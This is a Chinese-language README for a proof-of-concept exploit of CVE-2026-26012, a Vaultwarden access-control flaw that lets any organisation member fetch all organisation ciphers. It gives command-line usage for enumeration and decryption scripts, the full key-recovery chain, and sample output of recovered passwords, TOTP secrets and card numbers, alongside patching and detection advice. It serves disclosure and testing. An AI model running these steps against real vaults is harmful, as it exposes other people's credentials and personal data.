完全密码枚举,忽略组织集合权限
针对 CVE-2026-26012 的概念验证漏洞利用,这是 Vaultwarden(<= 1.35.2)中的一个失效的访问控制漏洞,允许任何组织成员检索并解密组织内的所有密码,无论集合级别的权限如何。
🤖 注意:本项目在 Claude 3 Opus 的协助下开发。AI 被用于代码生成、架构结构和文档编写。所有输出均已人工审查并经过质量保证测试。
| CVE | CVE-2026-26012 |
| 安全公告 | GHSA-h265-g7rm-h337 |
| 受影响版本 | Vaultwarden ≤ 1.35.2 |
| 修复版本 | 1.35.3 |
| CVSS 3.1 | 6.5(中危)— AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — 授权不正确 |
| 致谢 | 由 @odgrso 发现,由 @BlackDex 修复 |
API 端点 GET /api/ciphers/organization-details 对任何组织成员均可访问。在内部,它调用 Cipher::find_by_org,该函数返回组织内的所有密码,然后以 CipherSyncType::Organization 类型提供这些密码,且不强制执行集合级别的访问控制。
由于所有组织密码共享同一个组织加密密钥(每个成员在加入时都会收到该密钥),泄露的密码可以在客户端完全解密。
普通组织成员(仅限"公共"集合)
│
├── GET /api/sync → 5 个密码(正确)
│
└── GET /api/ciphers/organization-details
└──→ 47 个密码(所有组织密码 — 漏洞)
└──→ 42 个来自受限集合的密码(已泄露)
└──→ 可使用成员已有的组织密钥解密
.
├── README.md # 本文件
├── poc_cve_2026_26012.py # 阶段 1:密码枚举与泄露检测
├── poc_decrypt.py # 阶段 2:组织密钥恢复与密码解密
└── LICENSE
cryptography(用于阶段 2 解密)argon2-cffi(仅当目标实例使用 Argon2id KDF 时)pip install cryptography
pip install argon2-cffi # 可选
通过比较正常 /api/sync 端点返回的密码与存在漏洞的 /api/ciphers/organization-details 端点返回的密码,检测实例是否存在漏洞。
# 通过浏览器进行身份验证(支持 SSO + 2FA),然后传入 Bearer 令牌
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# Bearer 令牌(推荐 — 支持 SSO + 2FA)
--token "eyJhbGciOi..."
# 会话 Cookie
--cookie "VAULTWARDEN_SESSION=abc123..."
# 原始 Cookie 头(多个 Cookie)
--cookie-header "session=abc; token=xyz"
# 直接密码登录(仅限无 SSO、无 2FA)
--email [email protected] --password "MasterPassword"
如何提取您的 Bearer 令牌:
/api/... 的请求并复制 Authorization 头的值--no-verify-ssl # 跳过 SSL 验证(自签名证书)
--show-all # 同时显示合法可访问的密码
--max-display 50 # 显示的最大泄露密码数量(默认:20)
--output results.json # 将完整结果导出为 JSON
恢复组织加密密钥并解密阶段 1 中所有泄露的密码。
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
注意:
--master-password是您的 Vaultwarden 主密码,仅在本地用于派生解密密钥链。它绝不会通过网络发送。--token用于 API 身份验证。
故障排除: 如果密钥解密失败,请添加
--debug以查看每个步骤的中间值。脚本会自动尝试 5 种策略(HKDF 现代、HMAC 传统、原始密钥以及 HMAC 跳过变体),以处理不同的账户年龄和配置。
如果您已经拥有 64 字节的组织密钥(128 个十六进制字符):
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === 密钥恢复链 ===
[1/6] 获取 KDF 参数...
KDF: PBKDF2-SHA256, iterations: 600000
[2/6] 派生主密钥...
[3/6] 拉伸主密钥(HKDF-Expand)...
[4/6] 从 /api/sync 获取加密密钥...
组织:ACME Corp
[5/6] 解密用户对称密钥...
[6/6] 解密 RSA 私钥 → 组织密钥...
[+] 组织密钥恢复成功!
[*] 正在解密 42 个密码...
============================================================
解密结果
============================================================
总计: 42
已解密: 42
错误: 0
影响摘要
恢复的密码: 35
恢复的 TOTP 密钥: 12
恢复的卡号: 3
============================================================
每个组织成员都已经拥有组织对称密钥,该密钥使用其 RSA 公钥加密。解密链如下:
主密码 + 邮箱
│ PBKDF2-SHA256 或 Argon2id
▼
主密钥(32 字节)
│ HKDF-Expand-SHA256
▼
拉伸密钥:encKey (32B) ║ macKey (32B)
│ AES-256-CBC(解密 profile.key)
▼
用户对称密钥:encKey (32B) ║ macKey (32B)
│ AES-256-CBC(解密 profile.privateKey)
▼
RSA 私钥(2048 位 PKCS#8 DER)
│ RSA-OAEP-SHA1(解密 profile.organizations[].key)
▼
组织密钥:encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
解密后的密码数据
在 Bitwarden/Vaultwarden 模型中,组织内的所有密码共享同一个加密密钥。基于集合的访问控制仅在服务器端强制执行 — 加密模型本身不强制执行集合边界。任何拥有组织密钥的成员都可以解密组织内的任何密码。此 CVE 绕过了服务器端过滤器,将所有密码暴露给任何成员。
| 密码类型 | 解密字段 |
|---|---|
| 登录 | 用户名、密码、TOTP 密钥、URI |
| 卡片 | 持卡人、卡号、CVV、有效期 |
| 身份 | 姓名、SSN、护照、地址、电话、邮箱 |
| 安全笔记 | 完整笔记内容 |
| 所有类型 | 自定义字段、附件元数据 |
立即将 Vaultwarden 更新到 1.35.3 或更高版本。
docker pull vaultwarden/server:1.35.3
修补后,再次运行阶段 1 以确认修复生效 — 该工具应报告 NOT VULNERABLE(无漏洞)。
如果您在多用户组织中运行了存在漏洞的版本:
/api/ciphers/organization-details 的异常 API 调用此 PoC 在漏洞被公开披露并修补之后发布:
此 PoC 的诞生离不开原始安全研究人员和维护者的工作:
| 角色 | 人员 | 贡献 |
|---|---|---|
| 漏洞报告者 | @odgrso | 发现并负责任地披露了 CVE-2026-26012 |
| 修复开发者 | @BlackDex | 开发并在 Vaultwarden 1.35.3 中发布了修复 |
| 项目维护者 | @dani-garcia | Vaultwarden 创建者,协调安全公告和发布 |
感谢您为开源生态系统的安全做出的贡献。
此概念验证严格用于授权的安全测试和教育目的。在测试任何您不拥有的系统之前,您必须获得明确的书面授权。未经授权访问计算机系统在美国 CFAA、英国《计算机滥用法》以及全球同等法律下均属违法行为。作者对滥用行为不承担任何责任。
MIT — 参见 LICENSE。